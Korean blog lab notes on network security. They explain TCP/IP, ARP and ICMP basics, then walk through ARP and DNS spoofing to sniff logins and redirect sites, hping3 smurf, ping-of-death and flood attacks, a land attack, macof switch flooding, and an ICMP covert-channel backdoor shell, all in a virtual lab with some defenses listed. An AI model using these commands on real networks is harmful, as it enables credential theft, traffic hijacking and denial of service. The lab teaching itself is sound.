가. 중간자 공격

나. Sniffing : 도청, 훔쳐보기

다. Spoofing : 속이기

1) ARP spoofing

2) IP spoofing

가) Land attack, tcp syn flooding, smurf, icmp redirect

3) DNS spoofing

라. DNS MITM

1) DNS(도메인 이름 서비스)

가) PC -> DNS 서버 : 재귀 쿼리

나) DNS 서버 -> PC : 반복 쿼리

다) 패킷 확인

cmd> nslookup www.naver.com        =>    명령어 입력 

 

② 패킷 확인 

 

③ Query

- 53번 포트

- 요청이 여러개이기 때문에 Transaction ID 부여

- 맨 아래 내가 요청한 도메인 이름이 보인다

 

④ Response 

- 맨 아래 answers 부분에 내가 요청한 것의 응답이 들어있다.

 

2) DNS spoofing

가) 사용툴 : dnsspoof, arpspoof, fragrouter

- 공격자(kali)

# arpspoof -t [victim_ip] [gateway]

# fragrouter -B1

# cd /tmp

# cat > hosts       => 내용 작성, 가짜 사이트 2개

192.168.1.6            www.naver.com 

192.168.221.130      www.google.com

[Ctrl + d]

# ls hosts

# cat hosts

# dnsspoof -f /tmp/hosts

- victim(VMwin7)

# dns 서버 주소를 외부로 한다. (168.128.63.1)

# 웹사이트 접속

 

나) 공격

① kali에서 가짜 사이트 만들기

# service apache2 start 

# ps -ef | grep apache

② arp 스푸핑과 포워딩

# arpspoof -t 192.168.221.135 192.168.221.2

# fragrouter -B1 

 

③ dns 스푸핑

# dnsspoof -f /tmp/hosts

- 처음에 실행하면 포트를 열고 기다린다.

 

- victim 에서 웹사이트로 naver, google에 접속 시도 

- 위에서 작성한 가짜 사이트로 접속된다. 

- 공격자가 dns 응답을 대신 해주고 있다.

 

④ 패킷 확인 

- 소스 주소는 외부 정상적인 dns 주소로 보이지만 MAC 주소를 보면 공격자의 주소이다.

 

 

posted by Red_Seek
2016. 1. 14. 09:09 :: 네트워크 보안

0. 실습 환경

가. kali

- IP : 192.168.221.130

- MAC :  00-0c-29-9a-be-c1

나. VM_win7

- IP : 192.168.221.135

- MAC :  00-0C-29-C7-7A-39

 

1. ICMP

가. 에러를 알려주거나 정보를 알려준다.

나. 헤더 구조

1) type 이 3, 4, 5, 11 은 에러를 알려주는 경우이다.

2) type 2

가) 목적지에 도착하지 못했다는 내용이 대표적이며 세부적인 이유를 code 필드에서 알려준다.

나) code

3) type 5

가) 라우팅 테이블 조작시에 사용 가능

4) type 11

가) TTL 값을 확인하고 1을 감소 시켜준다. 만약 TTL 0 이 되면 해당 패킷을 버리고 code 0 으로 여기까지 핑이 왔다 라고 되돌려준다. 되돌려줄때 버린 패킷을 다시 넣어서 보내준다.(ICMP의 data 필드에 다시 넣어서 보내줌) 

- type 11, code 0 이면 TTL 0 이여서 보내진 ICMP 패킷이다.

- ICMP 의 data 필드에 받았던 ICMP 패킷이 다시 넣어져있는것을 확인할 수 있다.

 

나) tracerout 명령이 type 11을 이용 

 

5) ping 명령

가) ICMP type 8, code 0

 

6) tracert(traceroute) 명령

가) ICMP type 7 (TTL = 1 부터 1씩 증가)

- type 11 : 에러, 이 메시지의 src ip를 화면에 출력

- type 0 : 마지막 목적지 도착

 

다. ICMP를 이용한 공격

1) SMURF, ICMP flooding, ping of death, ICMP redirect

2) ICMP 외에도 가능한 공격

- 은닉채널 : 사용하지 않는 필드에 데이터를 숨겨서 전속, tos 필드 및 ping 의 데이터 부분

- land attack

3) 대부분이 IP spoofing 공격을 함께 이용(공격자 자신을 숨기기 위해)

 

라. SMURF 공격

1) ICMP ping (echo), IP spoofing 해서 src 주소를 속임

2) 브로드캐스트 이용, local 및 remote 공격 가능

3) 공격 방법

가) 공격자가 ICMP echo request 의 src 주소를 victim 주소로 조작

나) dst 주소에는 호스트가 많은(큰) 네트워크에 브로드캐스트 주소 사용

다) 많은 호스트들은 ICMP echo requst 를 수신하여 echo reply 를 보내게됨 즉, victim에게 간다.

라) victim 은 많은 echo reply 를 수신하여 해당 패킷들을 drop 시키기 위해 많은 자원을 사용

- 트래픽을 발생시키는 DoS 공격중 하나

4) 공격

가) # hping3 -1 [브로드캐스트 주소] -a [victim_ip]

① # hping3 -1 192.168.221.255 -a 192.168.221.135 -c 1 

 

나) 와이어샤크 확인 

- 현재 네트워크의 규모가 vm 환경으로 작기 때문에 하나밖에 발생하지 않았다.

 

① echo requst 

- src addr 이 kali의 주소 .130 이 아니라 victim의 VMwin7의 주소가 적혀있음을 확인 가능하다.

- dst addr 에는 브로드캐스트 주소가 적혀있다.

 

② echo reply 

- 현재 VM 내부에는 공격자 kali, victim win7, 게이트웨이(.2) 밖에 없어서 게이트웨이가 응답한 reply 하나만 확인가능

- src addr은 게이트웨이 주소이다. (192.168.221.2)

- dst addr 을 보면 실제 icmp 를 보낸 kali의 주소가 아니라 victim 의 주소가 적혀있다.

 

마. Ping of Death

1) ping 하나로 죽음에 이르게 하는 공격

2) 하나의 패킷의 size 를 크게하여 전송

3) 하나의 패킷을 전송하지만 victim은 많은 단편화 패킷을 수신함으로 부하를 가중시킨다.

4) victim 혹은 목적지에서 다시 합쳐진다.(중간 라우터 노드에서는 합쳐지지 않는다.)

5) 네트워크 환경에 따른 MTU size

가) ethernet : 1500 byte

나) tokenring(16M) : 17915 byte

다) tokenring(4M) : 4464 byte

라) FDDI : 4352 byte

마) IEEE 802.3 + 802.2 : 1492 byte

6) 공격

가) # hping3 -1 [victim_addr] -d 65000

# hping3 -1 192.168.221.135 -d 65000 -c 1

- 단편화된 패킷들이 전송되는 것을 확인가능

- 마지막에는 ICMP 패킷으로 끝남

(위 2개 사진 맨왼쪽에 번호를 보면 1 ~ 44 개의 단편화 패킷이 전송됬을음 확인할 수 있다.)

 

나) # hping3 -1 [victim_addr] -d 65000 -a 100.100.100.100

① # hping3 -1 192.168.221.135 -d 65000 -a 100.100.100.100 -c 1

- 송신자를 100.100.100.100 로 속여서 패킷 전송

- 마찬가지로 마지막에는 ICMP 패킷으로 끝남

 

다) hping3의 옵션을 이용하여 부하를 일으키는 방법

-i u10000 (1초에 10개 패킷전송) 또는 --fast

-i u1000  (1초에 100개 패킷전송) 또는 --faster

-i u100   (1초에 1000개 패킷전송)

--flood : 공격자 시스템이 공격가능한한 최대한 많은 트래픽 발생

# hping3 -1 192.168.221.135 -d 65000 -a 100.100.100.100 --flood

공격전의 victim 의 성능

 

- 공격 후 victim의 성능

 

- 공격 중지

 

바. Land Attack

1) 알고리즘 오류에 의한 공격 (자신의 꼬리를 잡기 위해 제자리 걸음하는것)

2) 최근에는 해당 공격 되지 않음 (OS가 drop 시킴)

3) 많은 패킷을 유발하는 목적으로만 사용

4) src와 dst 의 각종 정보를 동일시켜 보냄

가) IP : src ip == dst ip

나) 서비스 : src port == dst port

5) ICMP 이외에도 IP 가 포함되는 모든 프로토콜, tcp, udp 도 가능

6) IP spoofing과 같이 사용

7) 공격

가) # hping3 -1 [victim_addr] -a [victim_addr]

# hping3 -1 192.168.221.135 -a 192.168.221.135

[[[[사진 추가]]]]

② requst 패킷만 있다. reply 패킷은 OS가 버리기 때문이다.

 

사. 은닉채널(ICMP)

1) 환경 구축

가) ish : ICMP 패킷으로 데이터를 주고받는 통신을 한다.

나) 백도어로 쉘을 가져와서 공격자가 각종 명령어를 실행할 수 있다.

다) centOS_VM(서버, victim)

- # yum install gcc* : 컴파일러 설치

- ish 설치 (ish : 클라이언트용, ishd : 서버용)

라) kali_VM(클라이언트, 공격자)

- ish 설치 (ish : 클라이언트용, ishd : 서버용)

2) 서버 측

- # ./ishd

- # ps -ef | grep ishd    =>    동작 확인

3) 클라이언트 측

- # ./ish [server_IP]

- 쉘을 가져와서 내마음대로 조작 가능

4) 와이어샤크 확인

가) 클라이언트가 서버에 접속하여 각종 명령어 실행하며 패킷을 확인

나) ICMP 패킷의 data 필드 확인

다) 원래는 의미 없는 값이 가야하지만 ish 통신을 하면 의미있는 값들이 전송되어짐을 확인 가능

5) 대책

가) 지금의 경우는 reply 패킷만 사용하기 때문에 requst 없는 경우를 탐지

나) 반대로 requst만 사용하는 방법도 있음

다) 은닉채널은 모니터링을 잘해야한다.

- TCP, ICMP 패킷의 필드를 사용하기 때문에 찾기 어렵다.

 

 

posted by Red_Seek
2016. 1. 13. 09:04 :: 네트워크 보안

0. 실습 환경

가. kali

- IP : 192.168.221.130

- MAC :  00-0c-29-9a-be-c1

나. VM_win7

- IP : 192.168.221.135

- MAC :  00-0C-29-C7-7A-39

 

1. ARP

가. 헤더 구조

1) 하드웨어 타입 : 이더넷 환경

2) 프로토콜 타입 : IP

3) 하드웨어 주소 길이 : MAC, 48비트, 6바이트

4) 프로토콜 주소 길이 : IP, 32비트, 4바이트

5) 내부에만 전달되는 패킷, ARP 헤더에 이더넥 패킷이 불어서 내부를 다님

6) L2 이더넷, L3 IP 사용

7) 요청할때에는 요청자의 MAC주소, IP주소와 알고싶은 사람의 IP주소가 들어가고 Target 하드웨어 주소에는 0으로 채워서 보낸다.

- 요청 : opcode 1

- 응답 : opcode 2

 

나. 패킷 확인

1) VMwin7에서 arp table을 초기화 시킨다.(arp 패킷을 보기 위해)

- cmd> arp -d    (관리자 권한 필요) 

2) cmd> arp -a 명령으로 arp table 이 없어진것을 확인

3) VMwin7에서 # ping 192.168.221.130 명령으로 kali에게 핑을 날리고 arp 패킷을 발생시킨다. 

 

4) 위 사진에서 첫번째 arp 패킷은 .130 의 MAC 주소를 요청하는 requst 패킷이다. 

- 보내는 정보는 VMwin7의 IP, MAC 정보가 정확하게 들어있다.

- 알고자하는 target의 정보는 IP는 알기 때문에 채워져있고, MAC은 모르기 때문에 0으로 채워서 보낸다.

 

5) 두번째 arp 패킷은 응답을 받는 reply 패킷이다. 

- reply는 위에서 핑을 받은 .130 kali가 응답을 해준다.

- 모든 정보가 채워져있다.

 

6) VMwin7은 reply를 받을때 arp table에 작성한다. (arp -a) 

- reply 패킷의 target 이 나일때에만 table을 작성

 

7) ARP reply 를 바꿔서 보내면 가짜 정보로 바꿀 수 있다.

가) opcode 2

나) target 은 VMwin7(IP, MAC)

다) sender 정보는 공격자의 정보

 

다. ARP 스푸핑

1) VMwin7에게 kali가 게이트웨이라고 속이는 경우(가로채기)

가) VMwin7에 arp table 192.168.221.2 의 MAC 주소를 kali의 주소로 바꿔야함

나) VMwin7의 게이트웨이 주소 확인 

- 게이트웨이 : 192.168.221.2

 

다) kali는 가짜 arp reply를 보내야한다.

라) # arpspoof -t [victim_ip] [속이고자하는 항목의 IP(게이트웨이)]

- # arpspoof -t 192.168.221.135 192.168.221.2

마) 공격전의 VMwin7의 arp table 

 

바) 공격후의 VMwin7의 arp table

① # arpspoof -t 192.168.221.135 192.168.221.2  

- 해당 명령을 계속 진행시켜야 적용된다.

 

② VMwin7 의 arp table 

- 게이트웨이와 kali(공격자)의 MAC 주소가 같아진다.

 

사) 공격이 진행중일때의 패킷을 확인 

- reply 패킷만 계속 보내게 된다.

- 패킷 내용의 sender 부분을 보면 IP는 게이트웨이, MAC 은 kali의 정보를 보내고 있다.

 

아) arp 스푸핑 이후 VMwin7에서 게이트웨이로 통신이 안된다. 

- 공격자(kali)가 포워딩을 해주어야 victim(VMwin7)은 정상적으로 통신이 된다.

 

자) kali 에서 # fragrouter -B1 명령 입력

차) 와이어샤크로 패킷을 확인한다. 

- requst 패킷이 2개씩 발생한다.

- 하나는 victim이 kali에 보내는 것

- 다른 하나는 kali가 victim에 받은 것을 victim 인것처럼 게이트웨이에게 전해주는 것

① 첫 번째 requst 패킷 (VMwin7 -> kali)

② 두 번째 requst 패킷 (kali -> 게이트웨이)

- reply 패킷은 게이트웨이가 kali의 패킷을 정상적으로 victim에게서 온 내용으로 속아서 응답을 victim에게 해주는 패킷이다.

(현재 게이트웨이는 속이지 않았기 때문에 공격자를 걸치지 않고 바로 VMwin7(victim) 에게 보낸다.)

 

2) 도청하기(가로채기에 이어서 진행)

가) arp 스푸핑과 kali에서 포워딩 진행중

나) 암호화 되지 않는 서버의 계정을 만들어 로그인을 해야하는 환경을 만든다.(로그인 유도)

다) VMwin7 에서 웹페이지 접속하여 로그인 시도 

 

라) 와이어샤크 확인

① ID, password 를 입력하고 전송하기 때문에 클라이언트가 서버에게 가는것을 확인해야한다.

② 와이어샤크 필터

ip.src == 192.168.221.135 && ip.dst == 192.168.1.11 && http

- 오류없이 입력하면 초록색으로 표시

http.authorization : 해당 필드를 아는경우 바로 검색 가능(urlencoded-form.value)

- 패킷 확인 

- 로그인 했던 ID, password를 도청할 수 있다.

 

3) 방어 방법

가) MAC table을 정적으로 설정해준다.

① # arp -s 명령으로 정적 설정

② netsh 명령 이용

cmd> netsh interface ip show interface : 등록한 인터페이스 이름 확인

cmd> netsh interface ipv4 add neighbors "로컬 ~~~" [ip주소] [mac주소]

cmd> netsh inetface ipv4 show neighbors "로컬 ~~~"

③ 단점

- 단말의 전원을 껐다가 키면 다시 설정해주어야한다.

- 관리 호스트의 개수가 많으면 힘들다.

 

나) 기타 방법

① 스위치 장비를 통해 정책을 뿌려준다.

② L3 sw arp snoop 기능 활성화

③ L2 sw port-security 사용

④ Network IDS, IPS 로 트래픽 모니터링

⑤ IP/MAC 정보를 모니터링 하는 프로그램 이용

⑥ 윈도우 실행 -> mmc : 위 명령 등을 부팅시 자동으로 실행되도록 설정 가능

posted by Red_Seek
2016. 1. 12. 08:59 :: 네트워크 보안

0. 실습 환경

가. kali

- IP : 192.168.221.130

- MAC :  00-0c-29-9a-be-c1

나. VM_win7

- IP : 192.168.221.135

- MAC :  00-0C-29-C7-7A-39

 

1. TCP/IP 취약점(공격, 분류)

가. 공격

1) Sniffing : 훔쳐보기, 도청

가) tools :  wireshark, tcpdump, cain&abel 등

나) Passive Attack, 수동적 공격

다) 도청의 인터페이스라면 wireshark 에 설정이 아래와 같이 되어있어야 한다.

- 체크되어 있으면 자신에게 오는 패킷 이외에도 들어오는 모든 것을 볼 수 있다.

2) Spoofing : 속이다

가) IP 스푸핑 : src ip 주소를 속임 (내부, 외부 공격 가능)

나) ARP 스푸핑 : src mac 주소를 속임 (내부 공격)

다) DNS 스푸핑 : DNS에 해당하는 ip 및 도메인이름을 속임 (내부, 외부 공격 가능)

 

2. Ethernet

가. 토큰링의 단점을 보완하기 위해 나옴

나. 동시에 여려명이 통신하기 위해 만든것

다. CSMA/CD

라. 최근에는 스위치 사용

마. MAC 주소 사용(IP 주소로 MAC 주소를 알아오는 것이 ARP)

바. 정상 패킷 확인(ethernet / icmp)

1) 와이어샤크에서 vmnet8 로 설정 (VM 상의 패킷을 보기 위해) 

 

2) kali 에서 win7으로 핑을 보내고 패킷을 확인한다. 

 

사. 비정상 패킷 확인

1) kali에서 # macof 명령어 실행

가) 해당 명령은 MAC Table의 용량을 초과시켜 스위치를 더미허브 처럼 행동하게 만들어 스위치의 기능을 무력화시킴

나) 랜덤의 IP, MAC 정보를 보낸다. 

 

3. IP

가. 헤더구조

1) TOS : QOS, 사이렌 울리듯이 패킷에 마킹을 한다. 지금은 많이 사용안함

- 은닉채널 : 사용하지 않는 필드에 원하는 데이터를 숨겨서 보내는 것도 가능

2) 전체길이 : 단편화 복구하기 위해 데이터의 길이를 파악하기 위해 사용

3) ID : 패킷마다 고유번호 부여

4) IP flag

가. M : 도착해서 단편화 여부에 사용

- 1 : 같은 id의 뒤에 단편화 더 있음

- 0 : 뒤에 더 없거나 끝

나. D : 라우터들이 본다. 단편화하지 말라는 여부

- 1 : 단편화하지 말라(단편화 못한, 라우터가 버린다.)

- 0 : 단편화해도 된다.

- 최근에는 대부분 0으로 한다, 1이면 라우터가 버리기 때문이다.

5) TTL : 패킷의 수명, 라우터를 지날때마다 확인한다.

- OS 마다 기본값이 다르다

- 루핑 방지용

6) Protocol : 상위 프로토콜의 정보

 

나. 패킷 

 hello... [데이터] 32 byte

 8 byte

 IP 헤더 20 byte

     : Total Len 60 byte

<-------------------------------->

40 byte                     ICMP헤더

 

 

 

 

다. 단편화 확인

1) 이더넷 환경 MTU = 1500 byte(IP헤더 포함)

- IP 헤더 20 byte 제외하면 1480 byte 씩 단편화해야한다.

2) win7 에서 kali 로 3000 byte 핑을 보냄 

 

3) 와이어샤크에서 확인 

 

4) 패킷 정보

가) 첫 번째 패킷 : 1480 + 20 = 1500 [0 ~ 1479]

나) 두 번째 패킷 : 1480 + 20 = 1500 [1480 ~ 2959]

다) 세 번째 패킷 : 3008 - 2960 = 48 / 48 + 20 = 68 [2960 ~ 3007]

- 8 byte 는 ICMP 헤더 이다.

라) 실제 데이터는 총 3000 byte 이니까 나누면 1480 + 1480 + 40 이다.

 

라. 공격종류

1) bonk, boink, treadrop

가) 조립을 제대로 할 수 없게 만드는 공격(DoS 중 하나)

나) payload를 10씩 전달한다는 가장(한번에 전송되는 데이터 크기가 10이라는 의미)

- 정상       : 0 10 20 30 40 50 60 ...

- bonk      : 0 10 20 30 30 30 30 ...

- boink     : 0 10 20 30 20 30 20 ...

- treadrop : 0 10 25 37 42 ...

0-9 10-19 25-34 37-46 42-51 (부족 혹은 겹쳐서 전송)

다) 윈도우 업데이트 되면서 해당 공격은 되지 않고, 시스템이 해당 패킷을 자동으로 drop 시킨다.

 

마. 가짜 IP 생성

1) win7 에서 방화벽 종료

2) kali 에서 # hping3 명령어 사용

3) src ip 를 속임

가) # hping3 -1 192.168.221.135 -a 192.168.221.200 -c 1 

- 와이어샤크로 확인 결과 보내는 IP(Source) 가 kali의 주소인 .130 이 아니라 .200 으로 나온다.

- 핑을 받은 win7은 MAC 주소를 보지 않고 IP만 보고 reply를 보내야하는데 .200 에 대한 MAC을 확인하기 위해 arp table을 본다.

- arp table에 .200 정보가 없기 때문에 위 사진처럼 arp requset 를 보내지만 응답을 받지 못한다.

나) 가상 win7에서 받은 패킷의 정보를 보면 src MAC은 kali, src IP 는 공격자가 조작한 .200 으로 나온다. 

 

4) src IP 를 물리 PC 주소 조작

가) # hping3 -1 192.168.221.135 -a 192.168.221.1 -c 1

나) win7 에서 받은 패킷에는 kali의 MAC 주소, 물리 PC 인터페이스 192.168.221.1 (VMnet8) 주소로 나옴 

 

다) 가상의 win7은 보낸사람의 주소로 reply를 보내지만 물리 PC는 자신이 보냈던것이 없기 때문에 reply에 대한 응답을 보내지 않음

 

라) VMwin7은 192.168.221.1의 물리 주소를 모르기 때문에 MAC 주소를 arp로 확인 후 보낸다.

① 물리 PC의 인터페이스 

 

② VMwin7이 192.168.221.1 로 응답한 패킷 내용 

- 이더넷 헤더의 목적지 MAC 주소를 보면 물리 PC의 MAC 주소가 들어있음을 확인할 수 있다.

 

5) src IP를 외부 주소로 조작

가) # hping3 -1 192.168.221.135 -a 100.100.100.100 -c 1

나) win7 에서 받은 패킷에는 kali의 MAC 주소, 100.100.100.100 주소로 나옴 

- 이더넷 헤더의 src 를 보면 kali의 MAC 주소이고, IP 헤더의 src은 조작된 100.100.100.100 을 받는다.

 

다) VMwin7은 보낸사람의 정확한 정보를 확인할 수 없으니 100.100.100.100 에게 응답을 한다. 

 

① VMwin7의 라우팅 테이블에는 100.100.100.100 정보가 없으니까 외부 네트워크(디폴트 게이트웨이 0.0.0.0)로 보낸다. 

 

② VMwin7에서 reply 하는 패킷에 IP헤더의 목적지는 100.100.100.100 이고 이더넷 헤더의 목적지 MAC 주소에는 게이트웨이의 MAC 주소가 들어가게 된다. 

 

③ VMwin7의 ARP table 

- 192.168.221.2 가 게이트웨이 이다.

- 192.168.221.1 은 물리PC의 VMnet8 의 주소이다.(물리PC의 주소)

 

 

 

 

posted by Red_Seek
2016. 1. 11. 09:12 :: 네트워크 보안

1. VMware

가. 네트워크 종류 

1) 현재는 NAT

가) VM win7

나)  vmnet(NAT) 사설망에서 물리망에 나올때 주소를 변경해준다.

192.168.221.135(vm) -> 192.168.1.123(물리 데스크탑) -> 61.33.69.xxx (공인망)

다)  물리 데스크탑에서 ipconfig 로 확인을 하면 아래와 같이 VMnet1, 8 번이 있다.

라)  물리적 PC와 가상 PC를 연결해주기 위해 존재

마)  VMnet8 이 NAT 이다.

 

2) Host-Only

가) VM 내부끼리 통신하는 개념이다.

나) VMnet1 사용

다) host-only 에서 게이트웨이(.2)가 추가되어서 외부와 통신이 되는 것이 NAT 이다.

 

3) Bridges

가) VM 내부가 아니라 물리 데스크탑의 주소로 사용가능하다.

나) 물리적인 망이랑 연결된다.

 

2. 해킹 과정

가. Foot Printing

1) 대상을 찾는 것

2) 도메인 사이트(whois 등) 등에서 관련 정보를 취득 가능

- 등록자, 이메일, 주소 등

3) cmd> nslookup 명령 사용

3) google 검색

나. Sanning

1) Live scan : 해당 호스트가 켜져있는지 꺼져있는지 확인

2) OS scan

3) Port scan : 열려있는 서비스 확인

다. Enmeration 목록화 : 정보를 목록화

라. Gaining Access

1) 암호 도청

2) 파일 취득

3) DoS

마.  Escalting Privilege

1) 권한 상승

2) 버퍼오버플로어 등의 악성코드

- 명령어 실행 후 메모리 반납 과정에서 메모리를 읽어와서 정보를 가져오는 방법

바. Pilfering

1) 백도어

2) ps, ls 등의 명령어 사용시 자신이 심어둔 악성코드가 보이지 않도록 코드 수정

사. Covering Track : 흔적 제거

 

3. 실습 환경

가. kali

- IP : 192.168.221.130

- MAC :  00-0c-29-9a-be-c1

나. VM_win7

- IP : 192.168.221.135

- MAC :  00-0C-29-C7-7A-39

 

4. 방화벽 설정

가. 기본 값

나. VMwin7 에서 kali로의 핑은 정상, kali에서 VMwin7으로의 핑은 되지 않는다.

1) ICMP requst 패킷을 허용시켜야 한다.

2) 설정 방법

① 제어판 -> Windows 방화벽 -> 왼쪽에 '고급 설정' 

 

② 왼쪽에서 '인바운드 규칙' 선택 -> 오른쪽에 '새 규칙...' 선택 

- '사용자 지정' 선택 후 다음

 

③ ICMP 패킷의 설정이므로 '모든 프로그램' 선택 후 다음

④ 프로토콜 종류에서 'ICMPv4' 선택 

 

⑤ ICMPv4 선택 후 아래의 '사용자 지정' 클릭 

 

⑥ '특정 ICMP 종류' 선택 후 아래의 '다음 ICMP 종류' 설정 후 추가 : 종류 (8), 코드 (0) 

 

⑦ IP 설정에서는 별도 설정 없으므로 다음 

 

⑧ ICMP 패킷을 허용해주는 것이 목적이므로 '연결 허용' 선택 

 

⑨ 적용되는 시기는 별도 지정이 필요하면 설정, 아니면 그냥 다음

⑩ 마지막은 해당 규칙의 이름과 설명 작성 

 

⑪ 설정 완료 후 아래의 그림과 같이 규칙이 되어있는지 확인 

 

⑫ 설정 완료 후에 kali 환경에서 VMwin7 으로 핑 전송 시 정상적으로 동작된다.

⑬ 이와 같은 방법으로 규칙을 추가하면 방화벽 전체를 끄지 않고도 원하는 패킷만 설정이 가능하다.

⑭ 아웃 바운드를 설정하지 않는 이유는 기본값에서 '허용'하고 있기 때문이다.

 

 

posted by Red_Seek
2015. 12. 11. 18:47 :: 네트워크 보안

1장. 네트워크 기초

 

1. OSI 7 계층

 - 표준화된 네트워크 구조를 제시한 기본 모델

 - 실제 인터넷에서 사용되는 TCP/IP는 OSI 참조 모델을 기반으로 상업적이고 실무적으로 이용될 수 있도록 단순화된 현실화의 과정에서 채택된 모형

 

 

 

1) 물리 계층

- 비트, 네트워크의 두 노드를 물리적으로 연결

- 네트워크 장비 : 허브, 리피터

- 전송매체 : UTP, STP, 동축, 광

- 인터넷이 원하는 속도가 나오지 않으면 카테고리, 랜카드, 서비스 확인

2) 데이터링크 계층

- 프레임, MAC주소 이용하여 정확한 장치로 정보 전달

- 네트워크 장비 : 브리지, 스위치, L2

- MAC : 48비트, 전세계적으로 유일, 물리주소

- 앞24비트OUI(제조사코드), 뒤24비트NIC

3) 네트워크 계층

- 패킷, 라우터가 경로를 결정하는 일(라우팅)
- 네트워크 장비 : 라우터, L3 스위치

4) 전송 계층

- 세그먼트(TCP), 데이터그램(UDP)
- 종단 간의 투명한 데이터 전송을 양방향으로 행함
- 오류 복구, 흐름 제어
- 네트워크 장비 : L4 스위치

5) 세션 계층

- 데이터, 접속을 관리하는 역할
- 포트, 서비스 주소

6) 표현 계층

- 데이터, 네트워크로 보내질 데이터의 형식을 결정
- 압축, 인코딩, 암호화

7) 응용 계층

- 데이터, 사용자 인터페이스 역할, 서비스를 네트워크에 접속시키는 역할, 여러가지 서비스 제공

 

2. TCP/IP 계층

 - DOD : 미 국방성

 

3. 네트워크 장비

1)  리피터(신호증폭기)

- LAN영역에서 다른 LAN영역을 서로 연결하기 위한 목적으로 사용
- 신호 증폭시에 잡음 동반

2) 허브

- 패킷을 연결된 모든 호스트에 보냄

- 1차선, CSMA/CD 방식
- 더미허브
- 리피터의 잡음을 처리하기 위해 나옴
- 충돌도메인 = 1, 브로드캐스트 도메인 = 1

3) 브리지

- 네트워크 세그먼트를 2개 이상으로 나누어서 관리하기 위한 장비

4) 스위치

- 지정된 호스트에게만 보냄
- 칩셋방식(고속화), 비CPU기반으로 동작, 저렴
- MAC주소를 이용하여 어느 세그먼트로 패킷을 보내야할지 결정 가능
- 맥 테이블을 만들어 기능 수행(캐쉬에 저장되어 휘발성)
- 충돌도메인 = 4, 브로드캐스트 도메인 = 1

5) 라우터

- 서로 다른 네트워크를 연결해주는 장비

- CPU기반으로 동작
- 라우팅 테이블은 관리자가 직접 만듬

- 충돌도메인 = 4, 브로드캐스트 도메인 = 4

  


 

2장. TCP/IP 기본

 

1. MAC 주소

- 랜카드의 고유넘버를 의미, 물리적 주소

- 컴퓨터가 네트워크 상에서 서로를 구분해서 인직하기 위해 필요

- ARP : IP 주소로 MAC 주소를 찾음

- RARP : MAC 주소로 IP 주소를 찾음

- 48비트, 전세계에서 유일한 주소

- 앞 24비트 : OUI, 제조사 코드

- 뒤 24비트 : NIC, 시리얼 넘버

 

2. IP 주소

- 논리적 주소체계

- 32비트

 2^7

 2^6

 2^5

 2^4

 2^3

 2^2

 2^1

 2^0

 128

 64

 32

 16

 8

 4

 2

 1

- IP 주소 = 네트워크 ID + Host ID

- 네트워크 ID, Host ID 구분은 서브넷마스크로 구분

- IP 주소 Class (Class 주소체계를 사용하는 것을 Classful)

1) A Class

- 0 ~ 127

- 실제 1~1266까지 사용가능

- 0 (ALL, ANY), 127 (LOCALHOST, Loopback) 으로 사용되어 제외

- 사설 : 10.0.0.0 ~ 10.255.255.255

- 기본 서브넷 마스크 : 255.0.0.0

2) B Class

- 128 ~ 191

- 사설 : 172.16.0.0 ~ 172.31.255.255

- 기본 서브넷 마스크 : 255.255.0.0

3) C Class

- 192 ~ 223

- 사설 : 192.168.0.0 ~ 192.168.255.255

- 기본 서브넷 마스크 : 255.255.255.0

4) D Class

- 224 ~ 239

- EIGRP : 224.0.0.10

- OSPF : 224.0.0.5 ~ 6

- RIPv2 : 224.0.0.9

5) E Class

- 240 ~ 255

 

3. 서브넷팅

- Classful한 주소를 나누는 것

- 네트워크 개수가 조건일 경우 : 좌 -> 우 이동하여 계산

- 호스트 개수가 조건 : 우 -> 좌 이동하여 계산

 

4. CIDR

- 부족한 IP 주소를 해결하기 위해 새로운 주소 지정시스템

- 기존 Class 개념 무시(Classless)

 

5. VLSM

- IP를 효율적으로 할당하기 위한 방법

- 서브넷팅한 네트워크를 다시 서브넷팅 하는것

 

6. 클라이언트/서버 모델

- 클라이언트 : 서비스를 요청하는 프로세스

- 서버 : 요청을 처리하고 결과를 반환하는 프로세스

 

7. 포트

- 서비스 주소

 MAC

 IP

 Port

 기기주소

 논리주소

 서비스주소

- 특정 프로세스를 인식하기 위한 방법

- 서비스마다 사용되는 포트 다름

- Well Known Port : 0 ~ 1023

- 대표적인 포트 번호 

 TCP 20, 21

 FTP

 TCP 22

 SSH (보안기능)

 TCP 23

 Telnet (보안기능 없음)

 TCP 80

 HTTP

 TCP 443

 HTTPS

 UDP 53

 DNS

- TCP 80, 443, UDP 53 : 네트워크 3총사(?)

 

8. 전송방식

- 유니캐스트 : 하나의 송신자가 다른 하나의 수신자로 데이터를 전송하는 방식 (1:1)

- 브로드캐스트 : 하나의 송신자가 같은 서브네트워크 상의 모든 수신자에게 데이터를 전속하는 방식 (1:전체)

- 멀티캐스트 : 하나 이상의 송신자들이 특정한 하나 이상의 수신자들에게 데이터를 전송하는 방식 (1:N, N:N)

 


 

3장 TCP/IP 프로토콜

 

1. 이더넷(Ethernet)

- CSMA/CD 사용

- IEEE 802.3

- 데이터링크 계층의 기능을 LLC와 MAC 2개의 부계층으로 구분한다.

1) 상위계층 : LLC(네트워크 소프트웨어와 하드웨어인 하위 계층과 통신을 다룸), NIC을 동작시키는 드라이버 소프트웨어

2) 하위계층 : MAC(데이터링크 계층의 하위 이더넷부 계층)

- 이더넷, IEEE 802.3 헤더 

1) Preamble, SOF : 전송과 수신장치 동기화를 위해 사용

2) DMAC : 수신측 MAC 주소

3) SMAC : 송신측 MAC 주소

4) 길이/유형 : 데이터 필드의 길이

5) 데이터

6) FCS : 프레임에서 에러를 찾기 위해 사용, CRC 사용

 

2. CSMA/CD

- PC or Server 가 네트워크상에 통신이 일어나는지 확인, Carrier Sense

- 동시에 네트워크상에 데이터를 보내는 경우, Multiple Access

- 두 개 이상의 노드가 데이터 전송시 부딪치는 경우, Collision Detection

- 충돌 발생하면 데이터 전송했던 노드는 랜덤한 시간 동안 기다린 다음 다시 전송한다.

- CSMA/CA

 

3. ARP

- 논리적인 IP주소를 데이터링크 계층의 물리적인 MAC 주소로 바꾸어주는 주소 해석 프로토콜

- MAC Table은 캐쉬에 저장 

 

4. RARP

- MAC 주소로 IP 주소를 가져오는 것을 의미

 

5. GARP

- 같은 네트워크에서 IP 주소가 중복되는지 확인, 다른 장치들에게 자신의 IP주소를 갱신하도록 주기적으로 IP주소를 알려주는 역할

 

6. IP

 

1) 버전 : 주소의 버전(IPv4)

2) IHL : 옵션값을 제외한 길이, 헤더의 길이

3) TOS : 서비스의 품질을 나타냄, QOS

4) Total Len : 데이터를 포함한 전체 길이

